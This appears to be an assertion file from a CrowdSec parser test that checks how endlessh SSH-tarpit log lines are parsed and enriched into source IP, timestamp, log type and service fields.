results["s01-parse"]["crowdsecurity/endlessh-logs"][31].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][31].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][31].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][31].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][32].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][33].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][33].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][33].Evt.Parsed["timestamp"] == "2022-02-13T11:11:02.770Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][33].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][33].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][33].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][34].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][35].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][35].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][35].Evt.Parsed["timestamp"] == "2022-02-13T11:14:19.500Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][35].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][35].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][35].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][36].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][37].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][37].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][37].Evt.Parsed["timestamp"] == "2022-02-13T11:17:17.528Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][37].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][37].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][37].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][38].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][39].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][39].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][39].Evt.Parsed["timestamp"] == "2022-02-13T11:18:44.156Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][39].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][39].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][39].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][40].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][41].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][41].Evt.Parsed["source_ip"] == "165.232.112.160" results["s01-parse"]["crowdsecurity/endlessh-logs"][41].Evt.Parsed["timestamp"] == "2022-02-13T11:21:17.441Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][41].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][41].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][41].Evt.Meta["source_ip"] == "165.232.112.160" results["s01-parse"]["crowdsecurity/endlessh-logs"][42].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][43].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][43].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][43].Evt.Parsed["timestamp"] == "2022-02-13T11:22:29.229Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][43].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][43].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][43].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][44].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][45].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][45].Evt.Parsed["timestamp"] == "2022-02-13T11:23:25.867Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][45].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][45].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][45].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][45].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][46].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][47].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][47].Evt.Parsed["timestamp"] == "2022-02-13T11:24:55.313Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][47].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][47].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][47].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][47].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][48].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][49].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][49].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][49].Evt.Parsed["timestamp"] == "2022-02-13T11:26:32.620Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][49].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][49].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][49].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][50].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][51].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][51].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][51].Evt.Parsed["timestamp"] == "2022-02-13T11:31:02.471Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][51].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][51].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][51].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][52].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][53].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][53].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][53].Evt.Parsed["timestamp"] == "2022-02-13T11:33:08.053Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][53].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][53].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][53].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][54].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][55].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][55].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][55].Evt.Parsed["timestamp"] == "2022-02-13T11:34:11.826Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][55].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][55].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][55].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][56].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][57].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][57].Evt.Parsed["timestamp"] == "2022-02-13T11:35:59.307Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][57].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][57].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][57].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][57].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][58].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][59].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][59].Evt.Parsed["timestamp"] == "2022-02-13T11:37:11.459Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][59].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][59].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][59].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][59].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][60].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][61].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][61].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][61].Evt.Parsed["timestamp"] == "2022-02-13T11:39:14.349Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][61].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][61].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][61].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][62].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][63].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][63].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][63].Evt.Parsed["timestamp"] == "2022-02-13T11:40:27.877Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][63].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][63].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][63].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][64].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][65].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][65].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][65].Evt.Parsed["timestamp"] == "2022-02-13T11:41:51.108Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][65].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][65].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][65].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][66].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][67].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][67].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][67].Evt.Parsed["timestamp"] == "2022-02-13T11:44:54.352Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][67].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][67].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][67].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][68].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][68].Evt.Parsed["source_ip"] == "141.98.11.27" results["s01-parse"]["crowdsecurity/endlessh-logs"][68].Evt.Parsed["timestamp"] == "2022-02-13T11:44:56.120Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][68].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][68].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][68].Evt.Meta["source_ip"] == "141.98.11.27" results["s01-parse"]["crowdsecurity/endlessh-logs"][69].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][70].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][71].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][71].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][71].Evt.Parsed["timestamp"] == "2022-02-13T11:46:41.715Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][71].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][71].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][71].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][72].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][73].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][73].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][73].Evt.Parsed["timestamp"] == "2022-02-13T11:47:58.463Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][73].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][73].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][73].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][74].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][75].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][75].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][75].Evt.Parsed["timestamp"] == "2022-02-13T11:49:31.344Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][75].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][75].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][75].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][76].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][77].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][77].Evt.Parsed["source_ip"] == "212.192.246.173" results["s01-parse"]["crowdsecurity/endlessh-logs"][77].Evt.Parsed["timestamp"] == "2022-02-13T11:51:35.252Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][77].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][77].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][77].Evt.Meta["source_ip"] == "212.192.246.173" results["s01-parse"]["crowdsecurity/endlessh-logs"][78].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][78].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][78].Evt.Parsed["timestamp"] == "2022-02-13T11:51:35.359Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][78].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][78].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][78].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][79].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][80].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][81].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][81].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][81].Evt.Parsed["timestamp"] == "2022-02-13T11:52:44.396Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][81].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][81].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][81].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][82].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][83].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][83].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][83].Evt.Parsed["timestamp"] == "2022-02-13T11:54:17.557Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][83].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][83].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][83].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][84].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][85].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][85].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][85].Evt.Parsed["timestamp"] == "2022-02-13T11:56:13.717Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][85].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][85].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][85].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][86].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][87].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][87].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][87].Evt.Parsed["timestamp"] == "2022-02-13T11:57:16.679Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][87].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][87].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][87].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][88].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][89].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][89].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][89].Evt.Parsed["timestamp"] == "2022-02-13T11:59:32.884Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][89].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][89].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][89].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][90].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][91].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][91].Evt.Parsed["timestamp"] == "2022-02-13T12:00:47.800Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][91].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][91].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][91].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][91].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][92].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][93].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][93].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][93].Evt.Parsed["timestamp"] == "2022-02-13T12:01:59.882Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][93].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][93].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][93].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][94].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][95].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][95].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][95].Evt.Parsed["timestamp"] == "2022-02-13T12:03:21.948Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][95].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][95].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][95].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][96].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][97].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][97].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][97].Evt.Parsed["timestamp"] == "2022-02-13T12:05:00.857Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][97].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][97].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][97].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][98].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][99].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][99].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][99].Evt.Parsed["timestamp"] == "2022-02-13T12:06:32.107Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][99].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][99].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][99].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][100].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][101].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][101].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][101].Evt.Parsed["timestamp"] == "2022-02-13T12:12:43.171Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][101].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][101].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][101].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][102].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][103].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][103].Evt.Parsed["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][103].Evt.Parsed["timestamp"] == "2022-02-13T12:14:06.577Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][103].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][103].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][103].Evt.Meta["source_ip"] == "49.88.112.72" results["s01-parse"]["crowdsecurity/endlessh-logs"][104].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][105].Success == false results["s01-parse"]["crowdsecurity/endlessh-logs"][106].Success == true results["s01-parse"]["crowdsecurity/endlessh-logs"][106].Evt.Parsed["source_ip"] == "2001:db8:85a3:8d3:1319:8a2e:370:7348" results["s01-parse"]["crowdsecurity/endlessh-logs"][106].Evt.Parsed["timestamp"] == "2022-02-13T12:17:31.839Z" results["s01-parse"]["crowdsecurity/endlessh-logs"][106].Evt.Meta["log_type"] == "endlessh_accept" results["s01-parse"]["crowdsecurity/endlessh-logs"][106].Evt.Meta["service"] == "endlessh" results["s01-parse"]["crowdsecurity/endlessh-logs"][106].Evt.Meta["source_ip"] == "2001:db8:85a3:8d3:1319:8a2e:370:7348" results["s01-parse"]["crowdsecurity/endlessh-logs"][107].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 51 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "193.142.146.42" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-02-13T10:42:17.813Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "193.142.146.42" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-02-13T10:42:17.813Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-02-13T10:42:17.813Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-02-13T10:46:27.775Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-02-13T10:46:27.775Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-02-13T10:46:27.775Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "2022-02-13T10:51:01.559Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-02-13T10:51:01.559Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-02-13T10:51:01.559Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "2022-02-13T10:53:05.206Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-02-13T10:53:05.206Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-02-13T10:53:05.206Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "2022-02-13T10:55:56.131Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "49.88.112.72" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-02-13T10:55:56.131Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "endlessh_accept" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "endlessh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-02-13T10:55:56.131Z" 